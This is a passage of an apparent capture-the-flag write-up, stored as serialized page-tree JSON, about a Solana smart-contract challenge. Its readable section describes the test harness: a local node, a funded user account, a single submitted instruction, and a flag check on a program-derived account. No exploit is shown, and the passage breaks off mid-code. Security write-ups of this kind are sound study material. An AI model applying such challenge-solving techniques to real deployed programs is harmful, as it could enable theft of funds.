,{"type":24,"tag":271,"props":49097,"children":49098},{"style":288},[49099],{"type":29,"value":48330},{"type":24,"tag":271,"props":49101,"children":49102},{"style":624},[49103],{"type":29,"value":11207},{"type":24,"tag":271,"props":49105,"children":49106},{"style":598},[49107],{"type":29,"value":48339},{"type":24,"tag":271,"props":49109,"children":49110},{"style":624},[49111],{"type":29,"value":11207},{"type":24,"tag":271,"props":49113,"children":49114},{"style":288},[49115],{"type":29,"value":48348},{"type":24,"tag":271,"props":49117,"children":49118},{"style":3887},[49119],{"type":29,"value":11148},{"type":24,"tag":271,"props":49121,"children":49122},{"style":288},[49123],{"type":29,"value":24920},{"type":24,"tag":271,"props":49125,"children":49126},{"style":477},[49127],{"type":29,"value":7670},{"type":24,"tag":271,"props":49129,"children":49130},{"style":288},[49131],{"type":29,"value":8505},{"type":24,"tag":271,"props":49133,"children":49134},{"style":3887},[49135],{"type":29,"value":15757},{"type":24,"tag":271,"props":49137,"children":49138},{"style":288},[49139],{"type":29,"value":15327},{"type":24,"tag":271,"props":49141,"children":49142},{"style":630},[49143],{"type":29,"value":8590},{"type":24,"tag":271,"props":49145,"children":49146},{"style":288},[49147],{"type":29,"value":4520},{"type":24,"tag":271,"props":49149,"children":49150},{"style":477},[49151],{"type":29,"value":7670},{"type":24,"tag":271,"props":49153,"children":49154},{"style":624},[49155],{"type":29,"value":10787},{"type":24,"tag":271,"props":49157,"children":49158},{"style":477},[49159],{"type":29,"value":3993},{"type":24,"tag":271,"props":49161,"children":49162},{"style":288},[49163],{"type":29,"value":23108},{"type":24,"tag":271,"props":49165,"children":49166},{"style":624},[49167],{"type":29,"value":41},{"type":24,"tag":271,"props":49169,"children":49170},{"style":598},[49171],{"type":29,"value":33838},{"type":24,"tag":271,"props":49173,"children":49174},{"style":288},[49175],{"type":29,"value":21579},{"type":24,"tag":271,"props":49177,"children":49178},{"style":624},[49179],{"type":29,"value":41},{"type":24,"tag":271,"props":49181,"children":49182},{"style":598},[49183],{"type":29,"value":11391},{"type":24,"tag":271,"props":49185,"children":49186},{"style":288},[49187],{"type":29,"value":23122},{"type":24,"tag":271,"props":49189,"children":49190},{"class":273,"line":321},[49191,49195,49199,49203],{"type":24,"tag":271,"props":49192,"children":49193},{"style":598},[49194],{"type":29,"value":48548},{"type":24,"tag":271,"props":49196,"children":49197},{"style":288},[49198],{"type":29,"value":606},{"type":24,"tag":271,"props":49200,"children":49201},{"style":630},[49202],{"type":29,"value":20333},{"type":24,"tag":271,"props":49204,"children":49205},{"style":288},[49206],{"type":29,"value":1155},{"type":24,"tag":271,"props":49208,"children":49209},{"class":273,"line":330},[49210],{"type":24,"tag":271,"props":49211,"children":49212},{"emptyLinePlaceholder":16},[49213],{"type":29,"value":327},{"type":24,"tag":271,"props":49215,"children":49216},{"class":273,"line":339},[49217,49221,49225,49229,49233,49237,49241,49245],{"type":24,"tag":271,"props":49218,"children":49219},{"style":630},[49220],{"type":29,"value":48719},{"type":24,"tag":271,"props":49222,"children":49223},{"style":624},[49224],{"type":29,"value":1712},{"type":24,"tag":271,"props":49226,"children":49227},{"style":624},[49228],{"type":29,"value":14858},{"type":24,"tag":271,"props":49230,"children":49231},{"style":630},[49232],{"type":29,"value":8590},{"type":24,"tag":271,"props":49234,"children":49235},{"style":288},[49236],{"type":29,"value":4520},{"type":24,"tag":271,"props":49238,"children":49239},{"style":477},[49240],{"type":29,"value":3993},{"type":24,"tag":271,"props":49242,"children":49243},{"style":624},[49244],{"type":29,"value":10787},{"type":24,"tag":271,"props":49246,"children":49247},{"style":288},[49248],{"type":29,"value":4865},{"type":24,"tag":271,"props":49250,"children":49251},{"class":273,"line":347},[49252],{"type":24,"tag":271,"props":49253,"children":49254},{"emptyLinePlaceholder":16},[49255],{"type":29,"value":327},{"type":24,"tag":271,"props":49257,"children":49258},{"class":273,"line":356},[49259,49263,49267,49271,49275,49279,49283,49287,49291,49295,49299,49303,49307,49311,49315,49319,49323,49327,49331,49335,49339,49343,49347,49351,49355,49359,49363,49367,49371],{"type":24,"tag":271,"props":49260,"children":49261},{"style":278},[49262],{"type":29,"value":10800},{"type":24,"tag":271,"props":49264,"children":49265},{"style":630},[49266],{"type":29,"value":21557},{"type":24,"tag":271,"props":49268,"children":49269},{"style":624},[49270],{"type":29,"value":1712},{"type":24,"tag":271,"props":49272,"children":49273},{"style":288},[49274],{"type":29,"value":48321},{"type":24,"tag":271,"props":49276,"children":49277},{"style":624},[49278],{"type":29,"value":11207},{"type":24,"tag":271,"props":49280,"children":49281},{"style":288},[49282],{"type":29,"value":48330},{"type":24,"tag":271,"props":49284,"children":49285},{"style":624},[49286],{"type":29,"value":11207},{"type":24,"tag":271,"props":49288,"children":49289},{"style":598},[49290],{"type":29,"value":48339},{"type":24,"tag":271,"props":49292,"children":49293},{"style":624},[49294],{"type":29,"value":11207},{"type":24,"tag":271,"props":49296,"children":49297},{"style":288},[49298],{"type":29,"value":48348},{"type":24,"tag":271,"props":49300,"children":49301},{"style":3887},[49302],{"type":29,"value":11148},{"type":24,"tag":271,"props":49304,"children":49305},{"style":288},[49306],{"type":29,"value":24920},{"type":24,"tag":271,"props":49308,"children":49309},{"style":477},[49310],{"type":29,"value":7670},{"type":24,"tag":271,"props":49312,"children":49313},{"style":288},[49314],{"type":29,"value":8505},{"type":24,"tag":271,"props":49316,"children":49317},{"style":278},[49318],{"type":29,"value":27955},{"type":24,"tag":271,"props":49320,"children":49321},{"style":288},[49322],{"type":29,"value":606},{"type":24,"tag":271,"props":49324,"children":49325},{"style":3887},[49326],{"type":29,"value":15757},{"type":24,"tag":271,"props":49328,"children":49329},{"style":288},[49330],{"type":29,"value":49028},{"type":24,"tag":271,"props":49332,"children":49333},{"style":630},[49334],{"type":29,"value":8590},{"type":24,"tag":271,"props":49336,"children":49337},{"style":288},[49338],{"type":29,"value":4520},{"type":24,"tag":271,"props":49340,"children":49341},{"style":624},[49342],{"type":29,"value":10787},{"type":24,"tag":271,"props":49344,"children":49345},{"style":477},[49346],{"type":29,"value":7670},{"type":24,"tag":271,"props":49348,"children":49349},{"style":288},[49350],{"type":29,"value":23108},{"type":24,"tag":271,"props":49352,"children":49353},{"style":624},[49354],{"type":29,"value":41},{"type":24,"tag":271,"props":49356,"children":49357},{"style":598},[49358],{"type":29,"value":33838},{"type":24,"tag":271,"props":49360,"children":49361},{"style":288},[49362],{"type":29,"value":21579},{"type":24,"tag":271,"props":49364,"children":49365},{"style":624},[49366],{"type":29,"value":41},{"type":24,"tag":271,"props":49368,"children":49369},{"style":598},[49370],{"type":29,"value":11391},{"type":24,"tag":271,"props":49372,"children":49373},{"style":288},[49374],{"type":29,"value":23122},{"type":24,"tag":271,"props":49376,"children":49377},{"class":273,"line":365},[49378,49382,49386,49390,49394,49398,49402,49406,49410,49414,49418,49422,49426,49430,49434,49438,49442,49446,49450,49454,49458,49462,49466,49470,49474,49478,49482,49486],{"type":24,"tag":271,"props":49379,"children":49380},{"style":278},[49381],{"type":29,"value":10800},{"type":24,"tag":271,"props":49383,"children":49384},{"style":630},[49385],{"type":29,"value":48436},{"type":24,"tag":271,"props":49387,"children":49388},{"style":624},[49389],{"type":29,"value":1712},{"type":24,"tag":271,"props":49391,"children":49392},{"style":288},[49393],{"type":29,"value":48321},{"type":24,"tag":271,"props":49395,"children":49396},{"style":624},[49397],{"type":29,"value":11207},{"type":24,"tag":271,"props":49399,"children":49400},{"style":288},[49401],{"type":29,"value":48330},{"type":24,"tag":271,"props":49403,"children":49404},{"style":624},[49405],{"type":29,"value":11207},{"type":24,"tag":271,"props":49407,"children":49408},{"style":598},[49409],{"type":29,"value":48339},{"type":24,"tag":271,"props":49411,"children":49412},{"style":624},[49413],{"type":29,"value":11207},{"type":24,"tag":271,"props":49415,"children":49416},{"style":288},[49417],{"type":29,"value":48348},{"type":24,"tag":271,"props":49419,"children":49420},{"style":3887},[49421],{"type":29,"value":11148},{"type":24,"tag":271,"props":49423,"children":49424},{"style":288},[49425],{"type":29,"value":24920},{"type":24,"tag":271,"props":49427,"children":49428},{"style":477},[49429],{"type":29,"value":7670},{"type":24,"tag":271,"props":49431,"children":49432},{"style":288},[49433],{"type":29,"value":8505},{"type":24,"tag":271,"props":49435,"children":49436},{"style":3887},[49437],{"type":29,"value":15757},{"type":24,"tag":271,"props":49439,"children":49440},{"style":288},[49441],{"type":29,"value":15327},{"type":24,"tag":271,"props":49443,"children":49444},{"style":630},[49445],{"type":29,"value":8590},{"type":24,"tag":271,"props":49447,"children":49448},{"style":288},[49449],{"type":29,"value":4520},{"type":24,"tag":271,"props":49451,"children":49452},{"style":477},[49453],{"type":29,"value":7670},{"type":24,"tag":271,"props":49455,"children":49456},{"style":624},[49457],{"type":29,"value":10787},{"type":24,"tag":271,"props":49459,"children":49460},{"style":477},[49461],{"type":29,"value":3993},{"type":24,"tag":271,"props":49463,"children":49464},{"style":288},[49465],{"type":29,"value":23108},{"type":24,"tag":271,"props":49467,"children":49468},{"style":624},[49469],{"type":29,"value":41},{"type":24,"tag":271,"props":49471,"children":49472},{"style":598},[49473],{"type":29,"value":33838},{"type":24,"tag":271,"props":49475,"children":49476},{"style":288},[49477],{"type":29,"value":21579},{"type":24,"tag":271,"props":49479,"children":49480},{"style":624},[49481],{"type":29,"value":41},{"type":24,"tag":271,"props":49483,"children":49484},{"style":598},[49485],{"type":29,"value":11391},{"type":24,"tag":271,"props":49487,"children":49488},{"style":288},[49489],{"type":29,"value":23122},{"type":24,"tag":271,"props":49491,"children":49492},{"class":273,"line":374},[49493,49497,49501,49505],{"type":24,"tag":271,"props":49494,"children":49495},{"style":598},[49496],{"type":29,"value":48548},{"type":24,"tag":271,"props":49498,"children":49499},{"style":288},[49500],{"type":29,"value":606},{"type":24,"tag":271,"props":49502,"children":49503},{"style":630},[49504],{"type":29,"value":20333},{"type":24,"tag":271,"props":49506,"children":49507},{"style":288},[49508],{"type":29,"value":1155},{"type":24,"tag":271,"props":49510,"children":49511},{"class":273,"line":384},[49512],{"type":24,"tag":271,"props":49513,"children":49514},{"style":288},[49515],{"type":29,"value":4385},{"type":24,"tag":271,"props":49517,"children":49518},{"class":273,"line":393},[49519],{"type":24,"tag":271,"props":49520,"children":49521},{"style":288},[49522],{"type":29,"value":1171},{"type":24,"tag":85,"props":49524,"children":49526},{"id":49525},"test-environment",[49527],{"type":29,"value":49528},"Test Environment",{"type":24,"tag":25,"props":49530,"children":49531},{},[49532],{"type":29,"value":49533},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":24,"tag":25,"props":49535,"children":49536},{},[49537,49539,49545],{"type":29,"value":49538},"When you connect to the server through a tcp connection, ",{"type":24,"tag":135,"props":49540,"children":49542},{"className":49541},[],[49543],{"type":29,"value":49544},"framework/src/main.rs::handle_connection",{"type":29,"value":49546}," gets executed, which does the following:",{"type":24,"tag":3834,"props":49548,"children":49549},{},[49550],{"type":24,"tag":101,"props":49551,"children":49552},{},[49553],{"type":29,"value":49554},"Creates a new Solana local node",{"type":24,"tag":261,"props":49556,"children":49558},{"className":10718,"code":49557,"language":10717,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[49559],{"type":24,"tag":135,"props":49560,"children":49561},{"__ignoreMap":7},[49562,49642,49718],{"type":24,"tag":271,"props":49563,"children":49564},{"class":273,"line":274},[49565,49569,49573,49578,49582,49587,49591,49596,49600,49604,49608,49613,49617,49621,49625,49630,49634,49638],{"type":24,"tag":271,"props":49566,"children":49567},{"style":278},[49568],{"type":29,"value":19490},{"type":24,"tag":271,"props":49570,"children":49571},{"style":278},[49572],{"type":29,"value":10743},{"type":24,"tag":271,"props":49574,"children":49575},{"style":630},[49576],{"type":29,"value":49577}," builder",{"type":24,"tag":271,"props":49579,"children":49580},{"style":624},[49581],{"type":29,"value":1712},{"type":24,"tag":271,"props":49583,"children":49584},{"style":3887},[49585],{"type":29,"value":49586}," ChallengeBuilder",{"type":24,"tag":271,"props":49588,"children":49589},{"style":624},[49590],{"type":29,"value":11207},{"type":24,"tag":271,"props":49592,"children":49593},{"style":598},[49594],{"type":29,"value":49595},"try_from",{"type":24,"tag":271,"props":49597,"children":49598},{"style":288},[49599],{"type":29,"value":606},{"type":24,"tag":271,"props":49601,"children":49602},{"style":630},[49603],{"type":29,"value":9839},{"type":24,"tag":271,"props":49605,"children":49606},{"style":624},[49607],{"type":29,"value":41},{"type":24,"tag":271,"props":49609,"children":49610},{"style":598},[49611],{"type":29,"value":49612},"try_clone",{"type":24,"tag":271,"props":49614,"children":49615},{"style":288},[49616],{"type":29,"value":21579},{"type":24,"tag":271,"props":49618,"children":49619},{"style":624},[49620],{"type":29,"value":41},{"type":24,"tag":271,"props":49622,"children":49623},{"style":598},[49624],{"type":29,"value":11391},{"type":24,"tag":271,"props":49626,"children":49627},{"style":288},[49628],{"type":29,"value":49629},"())",{"type":24,"tag":271,"props":49631,"children":49632},{"style":624},[49633],{"type":29,"value":41},{"type":24,"tag":271,"props":49635,"children":49636},{"style":598},[49637],{"type":29,"value":11391},{"type":24,"tag":271,"props":49639,"children":49640},{"style":288},[49641],{"type":29,"value":4230},{"type":24,"tag":271,"props":49643,"children":49644},{"class":273,"line":284},[49645,49650,49654,49659,49663,49668,49672,49677,49681,49686,49691,49695,49700,49704,49709,49713],{"type":24,"tag":271,"props":49646,"children":49647},{"style":598},[49648],{"type":29,"value":49649},"assert!",{"type":24,"tag":271,"props":49651,"children":49652},{"style":288},[49653],{"type":29,"value":606},{"type":24,"tag":271,"props":49655,"children":49656},{"style":630},[49657],{"type":29,"value":49658},"builder",{"type":24,"tag":271,"props":49660,"children":49661},{"style":624},[49662],{"type":29,"value":41},{"type":24,"tag":271,"props":49664,"children":49665},{"style":598},[49666],{"type":29,"value":49667},"add_program",{"type":24,"tag":271,"props":49669,"children":49670},{"style":288},[49671],{"type":29,"value":606},{"type":24,"tag":271,"props":49673,"children":49674},{"style":378},[49675],{"type":29,"value":49676},"\"/path/to/chall.so\"",{"type":24,"tag":271,"props":49678,"children":49679},{"style":288},[49680],{"type":29,"value":158},{"type":24,"tag":271,"props":49682,"children":49683},{"style":3887},[49684],{"type":29,"value":49685},"Some",{"type":24,"tag":271,"props":49687,"children":49688},{"style":288},[49689],{"type":29,"value":49690},"(chall",{"type":24,"tag":271,"props":49692,"children":49693},{"style":624},[49694],{"type":29,"value":11207},{"type":24,"tag":271,"props":49696,"children":49697},{"style":288},[49698],{"type":29,"value":49699},"ID)) ",{"type":24,"tag":271,"props":49701,"children":49702},{"style":624},[49703],{"type":29,"value":5059},{"type":24,"tag":271,"props":49705,"children":49706},{"style":288},[49707],{"type":29,"value":49708}," chall",{"type":24,"tag":271,"props":49710,"children":49711},{"style":624},[49712],{"type":29,"value":11207},{"type":24,"tag":271,"props":49714,"children":49715},{"style":288},[49716],{"type":29,"value":49717},"ID);\n",{"type":24,"tag":271,"props":49719,"children":49720},{"class":273,"line":294},[49721,49725,49729,49733,49737,49741,49745,49750,49754,49758,49762],{"type":24,"tag":271,"props":49722,"children":49723},{"style":278},[49724],{"type":29,"value":19490},{"type":24,"tag":271,"props":49726,"children":49727},{"style":278},[49728],{"type":29,"value":10743},{"type":24,"tag":271,"props":49730,"children":49731},{"style":630},[49732],{"type":29,"value":49708},{"type":24,"tag":271,"props":49734,"children":49735},{"style":624},[49736],{"type":29,"value":1712},{"type":24,"tag":271,"props":49738,"children":49739},{"style":630},[49740],{"type":29,"value":49577},{"type":24,"tag":271,"props":49742,"children":49743},{"style":624},[49744],{"type":29,"value":41},{"type":24,"tag":271,"props":49746,"children":49747},{"style":598},[49748],{"type":29,"value":49749},"build",{"type":24,"tag":271,"props":49751,"children":49752},{"style":288},[49753],{"type":29,"value":21579},{"type":24,"tag":271,"props":49755,"children":49756},{"style":624},[49757],{"type":29,"value":41},{"type":24,"tag":271,"props":49759,"children":49760},{"style":749},[49761],{"type":29,"value":40586},{"type":24,"tag":271,"props":49763,"children":49764},{"style":288},[49765],{"type":29,"value":1069},{"type":24,"tag":3834,"props":49767,"children":49768},{"start":284},[49769],{"type":24,"tag":101,"props":49770,"children":49771},{},[49772],{"type":29,"value":49773},"Funds the user account with 100 SOL",{"type":24,"tag":261,"props":49775,"children":49777},{"className":10718,"code":49776,"language":10717,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[49778],{"type":24,"tag":135,"props":49779,"children":49780},{"__ignoreMap":7},[49781,49814,49846,49853,49895,49927,49934,49942,50006,50025,50032],{"type":24,"tag":271,"props":49782,"children":49783},{"class":273,"line":274},[49784,49788,49793,49797,49802,49806,49810],{"type":24,"tag":271,"props":49785,"children":49786},{"style":278},[49787],{"type":29,"value":19490},{"type":24,"tag":271,"props":49789,"children":49790},{"style":630},[49791],{"type":29,"value":49792}," user_keypair",{"type":24,"tag":271,"props":49794,"children":49795},{"style":624},[49796],{"type":29,"value":1712},{"type":24,"tag":271,"props":49798,"children":49799},{"style":3887},[49800],{"type":29,"value":49801}," Keypair",{"type":24,"tag":271,"props":49803,"children":49804},{"style":624},[49805],{"type":29,"value":11207},{"type":24,"tag":271,"props":49807,"children":49808},{"style":598},[49809],{"type":29,"value":22819},{"type":24,"tag":271,"props":49811,"children":49812},{"style":288},[49813],{"type":29,"value":4230},{"type":24,"tag":271,"props":49815,"children":49816},{"class":273,"line":284},[49817,49821,49826,49830,49834,49838,49842],{"type":24,"tag":271,"props":49818,"children":49819},{"style":278},[49820],{"type":29,"value":19490},{"type":24,"tag":271,"props":49822,"children":49823},{"style":630},[49824],{"type":29,"value":49825}," user",{"type":24,"tag":271,"props":49827,"children":49828},{"style":624},[49829],{"type":29,"value":1712},{"type":24,"tag":271,"props":49831,"children":49832},{"style":630},[49833],{"type":29,"value":49792},{"type":24,"tag":271,"props":49835,"children":49836},{"style":624},[49837],{"type":29,"value":41},{"type":24,"tag":271,"props":49839,"children":49840},{"style":598},[49841],{"type":29,"value":11270},{"type":24,"tag":271,"props":49843,"children":49844},{"style":288},[49845],{"type":29,"value":4230},{"type":24,"tag":271,"props":49847,"children":49848},{"class":273,"line":294},[49849],{"type":24,"tag":271,"props":49850,"children":49851},{"emptyLinePlaceholder":16},[49852],{"type":29,"value":327},{"type":24,"tag":271,"props":49854,"children":49855},{"class":273,"line":303},[49856,49860,49865,49869,49873,49878,49882,49886,49890],{"type":24,"tag":271,"props":49857,"children":49858},{"style":278},[49859],{"type":29,"value":19490},{"type":24,"tag":271,"props":49861,"children":49862},{"style":630},[49863],{"type":29,"value":49864}," payer_keypair",{"type":24,"tag":271,"props":49866,"children":49867},{"style":624},[49868],{"type":29,"value":1712},{"type":24,"tag":271,"props":49870,"children":49871},{"style":624},[49872],{"type":29,"value":14858},{"type":24,"tag":271,"props":49874,"children":49875},{"style":630},[49876],{"type":29,"value":49877},"chall",{"type":24,"tag":271,"props":49879,"children":49880},{"style":624},[49881],{"type":29,"value":41},{"type":24,"tag":271,"props":49883,"children":49884},{"style":288},[49885],{"type":29,"value":633},{"type":24,"tag":271,"props":49887,"children":49888},{"style":624},[49889],{"type":29,"value":41},{"type":24,"tag":271,"props":49891,"children":49892},{"style":288},[49893],{"type":29,"value":49894},"payer;\n",{"type":24,"tag":271,"props":49896,"children":49897},{"class":273,"line":312},[49898,49902,49907,49911,49915,49919,49923],{"type":24,"tag":271,"props":49899,"children":49900},{"style":278},[49901],{"type":29,"value":19490},{"type":24,"tag":271,"props":49903,"children":49904},{"style":630},[49905],{"type":29,"value":49906}," payer",{"type":24,"tag":271,"props":49908,"children":49909},{"style":624},[49910],{"type":29,"value":1712},{"type":24,"tag":271,"props":49912,"children":49913},{"style":630},[49914],{"type":29,"value":49864},{"type":24,"tag":271,"props":49916,"children":49917},{"style":624},[49918],{"type":29,"value":41},{"type":24,"tag":271,"props":49920,"children":49921},{"style":598},[49922],{"type":29,"value":11270},{"type":24,"tag":271,"props":49924,"children":49925},{"style":288},[49926],{"type":29,"value":4230},{"type":24,"tag":271,"props":49928,"children":49929},{"class":273,"line":321},[49930],{"type":24,"tag":271,"props":49931,"children":49932},{"emptyLinePlaceholder":16},[49933],{"type":29,"value":327},{"type":24,"tag":271,"props":49935,"children":49936},{"class":273,"line":330},[49937],{"type":24,"tag":271,"props":49938,"children":49939},{"style":630},[49940],{"type":29,"value":49941},"chall\n",{"type":24,"tag":271,"props":49943,"children":49944},{"class":273,"line":339},[49945,49950,49955,49960,49964,49968,49972,49976,49981,49985,49989,49993,49997,50002],{"type":24,"tag":271,"props":49946,"children":49947},{"style":624},[49948],{"type":29,"value":49949}," .",{"type":24,"tag":271,"props":49951,"children":49952},{"style":598},[49953],{"type":29,"value":49954},"run_ix",{"type":24,"tag":271,"props":49956,"children":49957},{"style":288},[49958],{"type":29,"value":49959},"(system_instruction",{"type":24,"tag":271,"props":49961,"children":49962},{"style":624},[49963],{"type":29,"value":11207},{"type":24,"tag":271,"props":49965,"children":49966},{"style":598},[49967],{"type":29,"value":39793},{"type":24,"tag":271,"props":49969,"children":49970},{"style":288},[49971],{"type":29,"value":606},{"type":24,"tag":271,"props":49973,"children":49974},{"style":624},[49975],{"type":29,"value":1137},{"type":24,"tag":271,"props":49977,"children":49978},{"style":630},[49979],{"type":29,"value":49980},"payer",{"type":24,"tag":271,"props":49982,"children":49983},{"style":288},[49984],{"type":29,"value":158},{"type":24,"tag":271,"props":49986,"children":49987},{"style":624},[49988],{"type":29,"value":1137},{"type":24,"tag":271,"props":49990,"children":49991},{"style":630},[49992],{"type":29,"value":27921},{"type":24,"tag":271,"props":49994,"children":49995},{"style":288},[49996],{"type":29,"value":158},{"type":24,"tag":271,"props":49998,"children":49999},{"style":477},[50000],{"type":29,"value":50001},"100_000_000_000",{"type":24,"tag":271,"props":50003,"children":50004},{"style":288},[50005],{"type":29,"value":27401},{"type":24,"tag":271,"props":50007,"children":50008},{"class":273,"line":347},[50009,50013,50017,50021],{"type":24,"tag":271,"props":50010,"children":50011},{"style":624},[50012],{"type":29,"value":49949},{"type":24,"tag":271,"props":50014,"children":50015},{"style":749},[50016],{"type":29,"value":40586},{"type":24,"tag":271,"props":50018,"children":50019},{"style":624},[50020],{"type":29,"value":10887},{"type":24,"tag":271,"props":50022,"children":50023},{"style":288},[50024],{"type":29,"value":1069},{"type":24,"tag":271,"props":50026,"children":50027},{"class":273,"line":356},[50028],{"type":24,"tag":271,"props":50029,"children":50030},{"emptyLinePlaceholder":16},[50031],{"type":29,"value":327},{"type":24,"tag":271,"props":50033,"children":50034},{"class":273,"line":365},[50035,50040,50044,50048,50052,50057,50061,50065,50069,50073],{"type":24,"tag":271,"props":50036,"children":50037},{"style":598},[50038],{"type":29,"value":50039},"writeln!",{"type":24,"tag":271,"props":50041,"children":50042},{"style":288},[50043],{"type":29,"value":606},{"type":24,"tag":271,"props":50045,"children":50046},{"style":630},[50047],{"type":29,"value":9839},{"type":24,"tag":271,"props":50049,"children":50050},{"style":288},[50051],{"type":29,"value":158},{"type":24,"tag":271,"props":50053,"children":50054},{"style":378},[50055],{"type":29,"value":50056},"\"user: {}\"",{"type":24,"tag":271,"props":50058,"children":50059},{"style":288},[50060],{"type":29,"value":158},{"type":24,"tag":271,"props":50062,"children":50063},{"style":630},[50064],{"type":29,"value":27921},{"type":24,"tag":271,"props":50066,"children":50067},{"style":288},[50068],{"type":29,"value":2693},{"type":24,"tag":271,"props":50070,"children":50071},{"style":624},[50072],{"type":29,"value":10887},{"type":24,"tag":271,"props":50074,"children":50075},{"style":288},[50076],{"type":29,"value":1069},{"type":24,"tag":3834,"props":50078,"children":50079},{"start":294},[50080],{"type":24,"tag":101,"props":50081,"children":50082},{},[50083],{"type":29,"value":50084},"Reads an instruction from the tcp stream and executes it",{"type":24,"tag":261,"props":50086,"children":50088},{"className":10718,"code":50087,"language":10717,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[50089],{"type":24,"tag":135,"props":50090,"children":50091},{"__ignoreMap":7},[50092,50142],{"type":24,"tag":271,"props":50093,"children":50094},{"class":273,"line":274},[50095,50099,50104,50108,50112,50116,50121,50125,50129,50134,50138],{"type":24,"tag":271,"props":50096,"children":50097},{"style":278},[50098],{"type":29,"value":19490},{"type":24,"tag":271,"props":50100,"children":50101},{"style":630},[50102],{"type":29,"value":50103}," solve_ix",{"type":24,"tag":271,"props":50105,"children":50106},{"style":624},[50107],{"type":29,"value":1712},{"type":24,"tag":271,"props":50109,"children":50110},{"style":630},[50111],{"type":29,"value":49708},{"type":24,"tag":271,"props":50113,"children":50114},{"style":624},[50115],{"type":29,"value":41},{"type":24,"tag":271,"props":50117,"children":50118},{"style":598},[50119],{"type":29,"value":50120},"read_instruction",{"type":24,"tag":271,"props":50122,"children":50123},{"style":288},[50124],{"type":29,"value":49690},{"type":24,"tag":271,"props":50126,"children":50127},{"style":624},[50128],{"type":29,"value":11207},{"type":24,"tag":271,"props":50130,"children":50131},{"style":288},[50132],{"type":29,"value":50133},"ID)",{"type":24,"tag":271,"props":50135,"children":50136},{"style":624},[50137],{"type":29,"value":10887},{"type":24,"tag":271,"props":50139,"children":50140},{"style":288},[50141],{"type":29,"value":1069},{"type":24,"tag":271,"props":50143,"children":50144},{"class":273,"line":284},[50145,50149,50153,50158,50162,50166,50170,50175,50179,50183,50187,50191,50196,50200,50204,50208,50212,50216,50220,50224],{"type":24,"tag":271,"props":50146,"children":50147},{"style":630},[50148],{"type":29,"value":49877},{"type":24,"tag":271,"props":50150,"children":50151},{"style":624},[50152],{"type":29,"value":41},{"type":24,"tag":271,"props":50154,"children":50155},{"style":598},[50156],{"type":29,"value":50157},"run_ixs_full",{"type":24,"tag":271,"props":50159,"children":50160},{"style":288},[50161],{"type":29,"value":606},{"type":24,"tag":271,"props":50163,"children":50164},{"style":624},[50165],{"type":29,"value":1137},{"type":24,"tag":271,"props":50167,"children":50168},{"style":288},[50169],{"type":29,"value":4520},{"type":24,"tag":271,"props":50171,"children":50172},{"style":630},[50173],{"type":29,"value":50174},"solve_ix",{"type":24,"tag":271,"props":50176,"children":50177},{"style":288},[50178],{"type":29,"value":8505},{"type":24,"tag":271,"props":50180,"children":50181},{"style":624},[50182],{"type":29,"value":1137},{"type":24,"tag":271,"props":50184,"children":50185},{"style":288},[50186],{"type":29,"value":4520},{"type":24,"tag":271,"props":50188,"children":50189},{"style":624},[50190],{"type":29,"value":1137},{"type":24,"tag":271,"props":50192,"children":50193},{"style":630},[50194],{"type":29,"value":50195},"user_keypair",{"type":24,"tag":271,"props":50197,"children":50198},{"style":288},[50199],{"type":29,"value":8505},{"type":24,"tag":271,"props":50201,"children":50202},{"style":624},[50203],{"type":29,"value":1137},{"type":24,"tag":271,"props":50205,"children":50206},{"style":630},[50207],{"type":29,"value":27921},{"type":24,"tag":271,"props":50209,"children":50210},{"style":288},[50211],{"type":29,"value":2693},{"type":24,"tag":271,"props":50213,"children":50214},{"style":624},[50215],{"type":29,"value":41},{"type":24,"tag":271,"props":50217,"children":50218},{"style":749},[50219],{"type":29,"value":40586},{"type":24,"tag":271,"props":50221,"children":50222},{"style":624},[50223],{"type":29,"value":10887},{"type":24,"tag":271,"props":50225,"children":50226},{"style":288},[50227],{"type":29,"value":1069},{"type":24,"tag":3834,"props":50229,"children":50230},{"start":303},[50231],{"type":24,"tag":101,"props":50232,"children":50233},{},[50234],{"type":29,"value":50235},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":24,"tag":261,"props":50237,"children":50239},{"className":10718,"code":50238,"language":10717,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n if acct.data.len() == 0x1337\n && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n {\n writeln!(socket, \"congrats!\")?;\n if let Ok(flag) = env::var(\"FLAG\") {\n writeln!(socket, \"flag: {:?}\", flag)?;\n } else {\n writeln!(socket, \"flag not found, please contact admin\")?;\n }\n }\n}\n",[50240],{"type":24,"tag":135,"props":50241,"children":50242},{"__ignoreMap":7},[50243,50327,50418,50459,50543,50550,50587,50644,50689,50704,50740,50747,50754],{"type":24,"tag":271,"props":50244,"children":50245},{"class":273,"line":274},[50246,50250,50255,50259,50263,50267,50272,50276,50280,50284,50289,50293,50298,50303,50307,50311,50315,50319,50323],{"type":24,"tag":271,"props":50247,"children":50248},{"style":278},[50249],{"type":29,"value":19490},{"type":24,"tag":271,"props":50251,"children":50252},{"style":630},[50253],{"type":29,"value":50254}," 